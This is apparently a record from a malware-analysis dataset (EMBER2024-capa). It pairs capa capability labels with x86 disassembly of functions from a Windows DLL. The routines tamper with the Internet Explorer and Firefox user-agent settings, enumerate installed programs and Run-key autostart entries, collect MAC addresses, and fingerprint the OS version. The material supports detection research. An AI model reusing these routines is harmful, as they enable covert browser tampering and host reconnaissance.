joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10009030
Capabilities:
Query or enumerate registry value
Set registry value

Disassembly:
sub esp, 0x9e8
or ecx, 0xffffffff
xor eax, eax
push ebp
push edi
mov edi, dword [esp + 0x9f4]
repne scasb al, byte es:[edi]
not ecx
dec ecx
cmp ecx, 0x64
jae 0x10009161
mov ecx, 0xff
lea edi, [esp + 0x15]
mov dword [esp + 0xc], eax
mov byte [esp + 0x14], al
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 8]
mov dword [esp + 0x10], 0x400
push eax
push 1
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersionInternet_Settings5.0User_Agent
push bind
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov ebp, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test eax, eax
jne 0x100090de
mov eax, dword [esp + 8]
lea ecx, [esp + 0x10]
push esi
lea edx, [esp + 0x18]
push ecx
push edx
push 0
push 0
push str.Compatible
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov ecx, dword [esp + 0xc]
mov esi, eax
push ecx
call ebp
test esi, esi
pop esi
jne 0x100090de
mov edx, dword [esp + 0x9f4]
lea eax, [esp + 0x14]
push edx
push eax
call dword [sym.imp.MSVCRT.dll_strstr]
add esp, 8
test eax, eax
jne 0x10009161
lea ecx, [esp + 0xc]
lea edx, [esp + 8]
push ecx
push edx
push 0
push 0xf003f
push 0
push 0
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersionInternet_Settings5.0User_Agent
push bind
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x10009161
mov ecx, dword [esp + 0x9f4]
lea eax, [esp + 0x14]
push eax
push ecx
lea edx, [esp + 0x41c]
push str._s___s
push edx
call dword [sym.imp.MSVCRT.dll_sprintf]
lea edi, [esp + 0x424]
or ecx, 0xffffffff
xor eax, eax
add esp, 0x10
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea eax, [esp + 0x414]
push ecx
mov ecx, dword [esp + 0xc]
push eax
push 1
push 0
push str.Compatible
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov edx, dword [esp + 8]
push edx
call ebp
pop edi
pop ebp
add esp, 0x9e8
ret
Function at 0x10009170
Capabilities:
Get installed programs
Query or enumerate registry key
Query or enumerate registry value

Disassembly:
sub esp, 0x11c
lea eax, [esp + 8]
push esi
xor esi, esi
push eax
push reloc.WS2_32.dll_bind
push esi
mov dword [esp + 0x1c], esi
mov dword [esp + 0x20], 0xc8
call dword [sym.imp.ADVAPI32.dll_RegConnectRegistryA]
test eax, eax
je 0x100091af
mov ecx, dword [esp + 0xc]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
pop esi
add esp, 0x11c
ret
mov eax, dword [esp + 0xc]
lea edx, [esp + 4]
push edx
push str.SOFTWAREMicrosoftWindowsCurrentVersionUninstall_
push eax
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
je 0x100091dd
mov ecx, dword [esp + 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
pop esi
add esp, 0x11c
ret
mov eax, dword [esp + 4]
push ebp
mov ebp, dword [sym.imp.ADVAPI32.dll_RegEnumKeyA]
lea edx, [esp + 0x20]
push 0x104
push edx
push esi
push eax
call ebp
test eax, eax
jne 0x1000929f
push ebx
mov ebx, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push edi
mov edi, dword [esp + 0x134]
lea ecx, [esp + 0x28]
push ecx
call dword [sym.imp.MSVCRT.dll__strlwr]
mov edx, dword [esp + 0x134]
lea eax, [esp + 0x2c]
push edx
push eax
call dword [sym.imp.MSVCRT.dll_strstr]
add esp, 0xc
test eax, eax
je 0x10009282
mov eax, dword [esp + 0x10]
lea ecx, [esp + 0x14]
lea edx, [esp + 0x28]
push ecx
push edx
push eax
mov dword [esp + 0x20], 0
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
jne 0x10009277
lea ecx, [esp + 0x20]
lea edx, [esp + 0x24]
push ecx
push edi
push edx
push eax
mov eax, dword [esp + 0x24]
push str.InstallLocation
push eax
call ebx
test eax, eax
jne 0x10009277
mov dword [esp + 0x1c], 1
mov ecx, dword [esp + 0x14]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [esp + 0x10]
lea edx, [esp + 0x28]
inc esi
push 0x104
push edx
push esi
push eax
call ebp
test eax, eax
je 0x1000920d
pop edi
pop ebx
mov ecx, dword [esp + 8]
mov esi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push ecx
call esi
mov edx, dword [esp + 0x10]
push edx
call esi
mov eax, dword [esp + 0x14]
pop ebp
pop esi
add esp, 0x11c
ret
Function at 0x100092c0
Capabilities:
Query environment variable
Read .ini file

Disassembly:
sub esp, 0x21c
mov ecx, 0x41
xor eax, eax
push edi
lea edi, [esp + 0x18]
rep stosd dword es:[edi], eax
lea eax, [esp + 0x18]
push eax
push str.firefox
call fcn.10009170
add esp, 8
test eax, eax
jne 0x100092f2
pop edi
add esp, 0x21c
ret
lea edi, [esp + 0x18]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
jne 0x1000930a
pop edi
add esp, 0x21c
ret
mov edi, str.defaultspref_firefox.js
or ecx, 0xffffffff
xor eax, eax
push ebx
repne scasb al, byte es:[edi]
not ecx
push ebp
sub edi, ecx
push esi
lea edx, [esp + 0x24]
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
mov ebx, dword [esp + 0x230]
and ecx, 3
push str.pref__general.useragent.extra.firefox_
lea eax, [esp + 0x28]
push ebx
rep movsb byte es:[edi], byte [esi]
push eax
call fcn.10009480
push str.userprofile
call dword [sym.imp.MSVCRT.dll_getenv]
add esp, 0x10
test eax, eax
je 0x10009465
mov edi, eax
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x24]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [esp + 0x24]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, str.Application_DataMozillaFirefoxprofiles.ini
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebp, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
lea eax, [esp + 0x24]
mov ecx, ebp
push eax
and ecx, 3
push 0xffffffffffffffff
push str.StartWithLastProfile
rep movsb byte es:[edi], byte [esi]
push str.General
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileIntA]
cmp eax, 0xffffffff
je 0x10009465
push eax
lea ecx, [esp + 0x14]
push str.Profile_d
push ecx
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0xc
lea edx, [esp + 0x24]
lea eax, [esp + 0x128]
lea ecx, [esp + 0x10]
push edx
push 0x100
push eax
push 0x100309bc
push str.Path
push ecx
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
cmp byte [esp + 0x128], 0x2a
je 0x10009465
mov edi, str.prefs.js
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x128]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push str.user_pref__general.useragent.override_
mov esi, edi
mov ebp, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
lea eax, [esp + 0x12c]
and ecx, 3
push ebx
rep movsb byte es:[edi], byte [esi]
push eax
call fcn.10009480
add esp, 0xc
pop esi
pop ebp
pop ebx
mov eax, 1
pop edi
add esp, 0x21c
ret
Function at 0x10009480
Capabilities:
Write file on windows

Disassembly:
sub esp, 0x110
push ebp
push esi
push edi
mov edi, dword [esp + 0x120]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [esp + 0x18]
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [esp + 0x14]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
lea eax, [esp + 0x18]
and ecx, 3
xor ebp, ebp
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0xc]
mov dword [esp + 0x14], ebp
push ecx
push edx
push eax
mov dword [esp + 0x18], ebp
call fcn.10005160
mov eax, dword [esp + 0x20]
add esp, 0xc
cmp eax, ebp
mov dword [esp + 0x10], eax
jne 0x100094ea
pop edi
pop esi
xor eax, eax
pop ebp
add esp, 0x110
ret
mov edi, dword [esp + 0x128]
mov esi, dword [sym.imp.MSVCRT.dll_strstr]
push ebx
push edi
push eax
call esi
mov edx, eax
add esp, 8
cmp edx, ebp
je 0x100095d0
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push 0x10030a6c
add ecx, edx
push ecx
call esi
mov ebx, eax
add esp, 8
cmp ebx, ebp
je 0x100095d0
inc ebx
push str.Compatible
push ebx
call esi
add esp, 8
test eax, eax
jne 0x100095d0
mov ecx, dword [esp + 0x14]
mov eax, dword [esp + 0x10]
mov ebp, dword [esp + 0x128]
sub ecx, ebx
add ecx, eax
mov edi, ebp
push ecx
or ecx, 0xffffffff
xor eax, eax
push ebx
repne scasb al, byte es:[edi]
not ecx
dec ecx
add ecx, ebx
push ecx
call dword [sym.imp.MSVCRT.dll_memmove]
mov edi, ebp
or ecx, 0xffffffff
xor eax, eax
mov esi, ebp
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov edi, ebx
mov edx, ecx
push 0x10030a68
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, ebp
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov edi, dword [esp + 0x20]
lea eax, [esp + 0x2c]
not ecx
dec ecx
push eax
add edi, ecx
mov dword [esp + 0x24], edi
call dword [sym.imp.MSVCRT.dll_fopen]
mov esi, eax
add esp, 0x14
test esi, esi
je 0x100095d0
mov ecx, dword [esp + 0x10]
mov edx, dword [esp + 0x14]
push esi
push ecx
push 1
push edx
call dword [sym.imp.MSVCRT.dll_fwrite]
push esi
call dword [sym.imp.MSVCRT.dll_fclose]
add esp, 0x14
mov eax, dword [esp + 0x14]
push eax
call fcn.10010220
add esp, 4
mov eax, 1
pop ebx
pop edi
pop esi
pop ebp
add esp, 0x110
ret
Function at 0x100095f0
Capabilities:
Get mac address on windows

Disassembly:
sub esp, 0x24
push ebx
push ebp
lea eax, [esp + 8]
xor ebp, ebp
push eax
push ebp
mov dword [esp + 0x10], ebp
xor ebx, ebx
call sub.iphlpapi.dll_GetAdaptersInfo
cmp eax, 0xe8
je 0x100096eb
cmp eax, 0x32
je 0x100096eb
cmp eax, 0x6f
jne 0x1000963c
mov ecx, dword [esp + 8]
push ecx
call dword [sym.imp.MSVCRT.dll_malloc]
add esp, 4
lea edx, [esp + 8]
mov ebx, eax
push edx
push ebx
call sub.iphlpapi.dll_GetAdaptersInfo
cmp eax, ebp
jne 0x100096eb
cmp ebx, ebp
je 0x100096da
push esi
push edi
mov ecx, 7
xor eax, eax
lea edi, [esp + 0x14]
xor edx, edx
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov dl, byte [ebx + 0x197]
xor eax, eax
mov al, byte [ebx + 0x199]
xor ecx, ecx
mov cl, byte [ebx + 0x198]
push eax
push ecx
xor eax, eax
mov al, byte [ebx + 0x196]
push edx
xor ecx, ecx
xor edx, edx
mov cl, byte [ebx + 0x195]
mov dl, byte [ebx + 0x194]
push eax
push ecx
push edx
lea eax, [esp + 0x2c]
push str.mac:__02X:_02X:_02X:_02X:_02X:_02X
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
mov ecx, dword [esp + 0x5c]
lea edx, [eax + ebp]
add esp, 0x20
cmp dword [ecx], edx
jle 0x100096ce
mov ecx, eax
mov eax, dword [esp + 0x38]
lea esi, [esp + 0x14]
lea edi, [eax + ebp]
mov eax, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
mov ebp, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ebx, dword [ebx]
test ebx, ebx
jne 0x1000964e
pop edi
pop esi
mov ecx, dword [esp + 0x34]
mov eax, 1
mov dword [ecx], ebp
pop ebp
pop ebx
add esp, 0x24
ret
pop ebp
xor eax, eax
pop ebx
add esp, 0x24
ret

Function at 0x10009980
Capabilities:
Read file on windows

Disassembly:
mov eax, dword [esp + 0x10]
push esi
push edi
mov edi, dword [esp + 0x14]
push 0x10030a88
push eax
call dword [sym.imp.MSVCRT.dll_fopen]
mov esi, eax
add esp, 8
test esi, esi
je 0x10009a35
mov edx, dword [esp + 0xc]
or ecx, 0xffffffff
mov edi, edx
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
push ebx
dec ecx
push ebp
push ecx
push edx
call fcn.10009900
mov ebx, dword [sym.imp.MSVCRT.dll_fseek]
push 2
push 0
push esi
mov ebp, eax
call ebx
push esi
call dword [sym.imp.MSVCRT.dll_ftell]
push 0
push 0
push esi
mov edi, eax
call ebx
push edi
call dword [sym.imp.MSVCRT.dll_malloc]
push esi
mov ebx, eax
push edi
push 1
push ebx
call dword [sym.imp.MSVCRT.dll_fread]
push ebp
mov ebp, dword [sym.imp.MSVCRT.dll_strstr]
push ebx
call ebp
mov edi, dword [esp + 0x58]
add esp, 0x40
push edi
push eax
call ebp
mov edx, eax
or ecx, 0xffffffff
xor eax, eax
push esi
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea edi, [edx + ecx + 1]
call dword [sym.imp.MSVCRT.dll_fclose]
push edi
call dword [sym.imp.MSVCRT.dll_atoi]
push ebx
mov esi, eax
call dword [sym.imp.MSVCRT.dll_free]
add esp, 0x14
mov eax, esi
pop ebp
pop ebx
pop edi
pop esi
ret
mov eax, edi
pop edi
pop esi
ret
Function at 0x1000a550
Capabilities:
Check os version

Disassembly:
mov ecx, 0x100388c0
jmp 0x1000a580
sub esp, 0x94
push ebx
push ebp
push esi
mov esi, ecx
push edi
mov ecx, 0x32
lea ebp, [esi + 4]
xor eax, eax
mov edi, ebp
mov dword [esi], 0
rep stosd dword es:[edi], eax
lea eax, [esp + 0x10]
mov ebx, str.WIN98
push eax
mov dword [esp + 0x14], 0x94
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
mov edx, dword [esp + 0x14]
mov eax, dword [esp + 0x18]
cmp edx, 3
jne 0x1000a5e3
cmp eax, 0x33
jne 0x1000a6c6
cmp dword [esp + 0x20], 2
jne 0x1000a6c6
mov ebx, str.WINNT_3.51
jmp 0x1000a6c6
cmp edx, 4
jne 0x1000a607
test eax, eax
jne 0x1000a6a2
mov ecx, dword [esp + 0x20]
cmp ecx, 2
jne 0x1000a696
mov ebx, str.WINNT_4.0
jmp 0x1000a6c6
cmp edx, 5
jne 0x1000a660
test eax, eax
jne 0x1000a62b
cmp dword [esp + 0x20], 2
jne 0x1000a6c6
mov ebx, str.WIN2000
mov dword [esi], 1
jmp 0x1000a6c6
cmp eax, 1
jne 0x1000a648
cmp dword [esp + 0x20], 2
jne 0x1000a6c6
mov ebx, str.WINXP
mov dword [esi], 2
jmp 0x1000a6c6
cmp eax, 2
jne 0x1000a6c6
cmp dword [esp + 0x20], eax
jne 0x1000a6c6
mov ebx, str.WIN2003
mov dword [esi], 3
jmp 0x1000a6c6
cmp edx, 6
jne 0x1000a6c6
test eax, eax
jne 0x1000a67d
cmp dword [esp + 0x20], 2
jne 0x1000a6c6
mov ebx, str.Vista32
mov dword [esi], 4
jmp 0x1000a6c6
cmp eax, 1
jne 0x1000a6c6
cmp dword [esp + 0x20], 2
jne 0x1000a6c6
mov ebx, str.Windows7
mov dword [esi], 6
jmp 0x1000a6c6
cmp ecx, 1
jne 0x1000a6c6
mov ebx, str.WIN95
jmp 0x1000a6c6
cmp eax, 0xa
jne 0x1000a6b5
cmp dword [esp + 0x20], 1
jne 0x1000a6c6
mov ebx, str.WIN98
jmp 0x1000a6c6
cmp eax, 0x5a
jne 0x1000a6c6
cmp dword [esp + 0x20], 1
jne 0x1000a6c6
mov ebx, str.WINMe
lea ecx, [esp + 0x24]
push ecx
mov ecx, dword [esp + 0x20]
push ecx
push eax
push edx
push ebx
push str._s__u._u._u__s_r_n_r_n
push ebp
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0x1c
xor eax, eax
mov dword [esi + 0xd0], eax
mov dword [esi + 0xcc], eax
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x94
ret
Function at 0x1000af00
Capabilities:
Get installed programs
Query or enumerate registry key
Query or enumerate registry value

Disassembly:
sub esp, 0x440
lea eax, [esp]
push ebx
push esi
push edi
xor ebx, ebx
push eax
push 0x20019
push ebx
push str.SOFTWAREMicrosoftWindowsCurrentVersionUninstall
push reloc.WS2_32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x1000af53
push eax
push eax
mov edx, dword [esp + 0x14]
push eax
push eax
push eax
push eax
lea ecx, [esp + 0x34]
push eax
push ecx
push eax
push eax
push eax
push edx
call dword [sym.imp.ADVAPI32.dll_RegQueryInfoKeyA]
test eax, eax
je 0x1000af88
mov eax, dword [esp + 0xc]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov edi, 0x10030c78
or ecx, 0xffffffff
xor eax, eax
mov esi, 0x10030c78
repne scasb al, byte es:[edi]
mov edi, dword [esp + 0x450]
not ecx
dec ecx
mov eax, ecx
mov edx, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
pop edi
pop esi
pop ebx
add esp, 0x440
ret
mov eax, dword [esp + 0x1c]
xor edi, edi
test eax, eax
mov dword [esp + 0x14], edi
jbe 0x1000b085
push ebp
mov ebp, dword [esp + 0x454]
mov edx, dword [esp + 0x10]
push 0
push 0
push 0
lea eax, [esp + 0x20]
push 0
lea ecx, [esp + 0x24c]
push eax
push ecx
mov esi, 0x211
push edi
push edx
mov dword [esp + 0x34], esi
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyExA]
test eax, eax
jne 0x1000b073
mov edx, dword [esp + 0x10]
lea eax, [esp + 0x1c]
push eax
push 1
lea ecx, [esp + 0x244]
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x1000b073
lea eax, [esp + 0x14]
lea ecx, [esp + 0x28]
push eax
mov eax, dword [esp + 0x20]
lea edx, [esp + 0x28]
push ecx
push edx
push 0
push str.DisplayName
push eax
mov dword [esp + 0x2c], esi
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov ecx, dword [esp + 0x1c]
mov esi, eax
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test esi, esi
jne 0x1000b073
cmp dword [esp + 0x24], 1
jne 0x1000b073
lea edi, [esp + 0x28]
or ecx, 0xffffffff
xor eax, eax
lea esi, [esp + 0x28]
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea edi, [ebx + ebp]
mov edx, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [esp + 0x28]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ax, word [0x10030470]
mov edi, dword [esp + 0x18]
not ecx
dec ecx
add ebx, ecx
mov word [ebx + ebp], ax
add ebx, 2
mov eax, dword [esp + 0x20]
inc edi
cmp edi, eax
mov dword [esp + 0x18], edi
jb 0x1000afa2
pop ebp
mov ecx, dword [esp + 0xc]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
mov eax, ebx
pop esi
pop ebx
add esp, 0x440
ret
Function at 0x1000b0a0
Capabilities:
Query or enumerate registry value

Disassembly:
sub esp, 0x10
lea eax, [esp + 8]
push ebx
push ebp
push esi
push edi
xor ebx, ebx
push eax
push 1
push ebx
push str.SOFTWAREMicrosoftWindowsCurrentVersionExplorerAdvanced
push bind
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov ebp, dword [esp + 0x24]
test eax, eax
jne 0x1000b23b
lea ecx, [esp + 0x1c]
lea edx, [esp + 0x14]
push ecx
mov ecx, dword [esp + 0x1c]
lea eax, [esp + 0x14]
push edx
push eax
push ebx
mov esi, 4
push str.Hidden
push ecx
mov dword [esp + 0x34], esi
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x1000b23b
cmp dword [esp + 0x10], esi
jne 0x1000b23b
cmp dword [esp + 0x14], 1
jne 0x1000b13a
mov edi, 0x10030d1c
or ecx, 0xffffffff
xor eax, eax
mov esi, 0x10030d1c
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov edi, ebp
mov edx, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, 0x10030d1c
jmp 0x1000b163
mov edi, 0x10030d04
or ecx, 0xffffffff
xor eax, eax
mov esi, 0x10030d04
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov edi, ebp
mov edx, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, 0x10030d04
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
mov ax, word [0x10030470]
lea edx, [esp + 0x14]
not ecx
dec ecx
mov ebx, ecx
lea ecx, [esp + 0x1c]
push ecx
push edx
mov word [ebx + ebp], ax
mov ecx, dword [esp + 0x20]
lea eax, [esp + 0x18]
add ebx, 2
push eax
push 0
push str.HideFileExt
push ecx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x1000b23b
cmp dword [esp + 0x10], 4
jne 0x1000b23b
cmp dword [esp + 0x14], 1
jne 0x1000b1e3
mov edi, 0x10030ce0
or ecx, 0xffffffff
xor eax, eax
mov esi, 0x10030ce0
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea edi, [ebx + ebp]
mov edx, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, 0x10030ce0
jmp 0x1000b20d
mov edi, 0x10030cc8
or ecx, 0xffffffff
xor eax, eax
mov esi, 0x10030cc8
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea edi, [ebx + ebp]
mov edx, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, 0x10030cc8
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
mov ax, word [0x10030470]
not ecx
dec ecx
add ebx, ecx
mov word [ebx + ebp], ax
mov ecx, dword [esp + 0x18]
push ecx
add ebx, 2
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
mov eax, ebx
pop ebp
pop ebx
add esp, 0x10
ret
mov edi, 0x10030cb8
or ecx, 0xffffffff
xor eax, eax
mov esi, 0x10030cb8
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea edi, [ebx + ebp]
mov edx, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, 0x10030cb8
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ax, word [0x10030470]
pop edi
not ecx
dec ecx
pop esi
add ebx, ecx
mov word [ebx + ebp], ax
lea eax, [ebx + 2]
pop ebp
pop ebx
add esp, 0x10
ret
Function at 0x1000b290
Capabilities:
Persist via run registry key
Query or enumerate registry key
Query or enumerate registry value

Disassembly:
sub esp, 0x43c
lea eax, [esp + 4]
push ebx
push esi
push edi
xor ebx, ebx
push eax
push 0x20019
push ebx
push str.SOFTWAREMicrosoftWindowsCurrentVersionRun
push reloc.WS2_32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x1000b2e3
push eax
push eax
mov edx, dword [esp + 0x18]
push eax
lea ecx, [esp + 0x20]
push eax
push ecx
push eax
push eax
push eax
push eax
push eax
push eax
push edx
call dword [sym.imp.ADVAPI32.dll_RegQueryInfoKeyA]
test eax, eax
je 0x1000b318
mov eax, dword [esp + 0x10]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov edi, 0x10030d78
or ecx, 0xffffffff
xor eax, eax
mov esi, 0x10030d78
repne scasb al, byte es:[edi]
mov edi, dword [esp + 0x44c]
not ecx
dec ecx
mov eax, ecx
mov edx, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
pop edi
pop esi
pop ebx
add esp, 0x43c
ret
mov eax, dword [esp + 0x14]
xor esi, esi
test eax, eax
mov dword [esp + 0x18], esi
jbe 0x1000b3d5
push ebp
mov ebp, dword [esp + 0x450]
mov edx, dword [esp + 0x14]
push 0
push 0
push 0
lea eax, [esp + 0x1c]
push 0
lea ecx, [esp + 0x34]
push eax
push ecx
mov edi, 0x211
push esi
push edx
mov dword [esp + 0x30], edi
call dword [sym.imp.ADVAPI32.dll_RegEnumValueA]
test eax, eax
jne 0x1000b3c3
lea eax, [esp + 0x10]
lea ecx, [esp + 0x238]
push eax
lea edx, [esp + 0x24]
push ecx
mov ecx, dword [esp + 0x1c]
push edx
lea eax, [esp + 0x30]
push 0
push eax
push ecx
mov dword [esp + 0x28], edi
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x1000b3c3
cmp dword [esp + 0x20], 1
jne 0x1000b3c3
mov ecx, dword [esp + 0x10]
lea esi, [esp + 0x238]
mov edx, ecx
lea edi, [ebx + ebp]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [esp + 0x10]
mov ax, word [0x10030470]
mov esi, dword [esp + 0x1c]
add ebx, ecx
mov word [ebx + ebp], ax
add ebx, 2
mov eax, dword [esp + 0x18]
inc esi
cmp esi, eax
mov dword [esp + 0x1c], esi
jb 0x1000b332
pop ebp
mov ecx, dword [esp + 0x10]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
mov eax, ebx
pop esi
pop ebx
add esp, 0x43c
ret

Function at 0x1000b750
Capabilities:
Create thread

Disassembly:
push ecx
push esi
push edi
push 0x7d6
mov dword [esp + 0xc], 0
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov edx, eax
add esp, 4
test edx, edx
je 0x1000b77d
mov ecx, 0x1f4
xor eax, eax
mov edi, edx
rep stosd dword es:[edi], eax
mov eax, edx
jmp 0x1000b77f
xor eax, eax
mov esi, dword [esp + 0x10]
mov ecx, 0x1f5
mov edi, eax
rep movsd dword es:[edi], dword [esi]
lea ecx, [esp + 8]
push ecx
push 0
push eax
push 0x1000baf0
push 0
push 0
movsw word es:[edi], word [esi]
call dword [sym.imp.KERNEL32.dll_CreateThread]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
xor eax, eax
pop esi
pop ecx
ret
Function at 0x1000b7c0
Capabilities:
Create thread

Disassembly:
push ecx
push esi
push edi
push 0x7d6
mov dword [esp + 0xc], 0
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov edx, eax
add esp, 4
test edx, edx
je 0x1000b7ed
mov ecx, 0x1f4
xor eax, eax
mov edi, edx
rep stosd dword es:[edi], eax
mov eax, edx
jmp 0x1000b7ef
xor eax, eax
mov esi, dword [esp + 0x10]
mov ecx, 0x1f5
mov edi, eax
rep movsd dword es:[edi], dword [esi]
lea ecx, [esp + 8]
push ecx
push 0
push eax
push 0x1000baf0
push 0
push 0
movsw word es:[edi], word [esi]
mov byte [eax + 0x7d0], 0x68
mov word [eax + 0x7d2], 0x65
call dword [sym.imp.KERNEL32.dll_CreateThread]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
xor eax, eax
pop esi
pop ecx
ret

Function at 0x1000b840
Capabilities:
Create thread

Disassembly:
push ecx
push esi
push edi
push 0x7d6
mov dword [esp + 0xc], 0
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov edx, eax
add esp, 4
test edx, edx
je 0x1000b86d
mov ecx, 0x1f4
xor eax, eax
mov edi, edx
rep stosd dword es:[edi], eax
mov eax, edx
jmp 0x1000b86f
xor eax, eax
mov esi, dword [esp + 0x10]
mov ecx, 0x1f5
mov edi, eax
rep movsd dword es:[edi], dword [esi]
lea ecx, [esp + 8]
push ecx
push 0
push eax
push 0x1000d9e0
push 0
push 0
movsw word es:[edi], word [esi]
call dword [sym.imp.KERNEL32.dll_CreateThread]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
xor eax, eax
pop esi
pop ecx
ret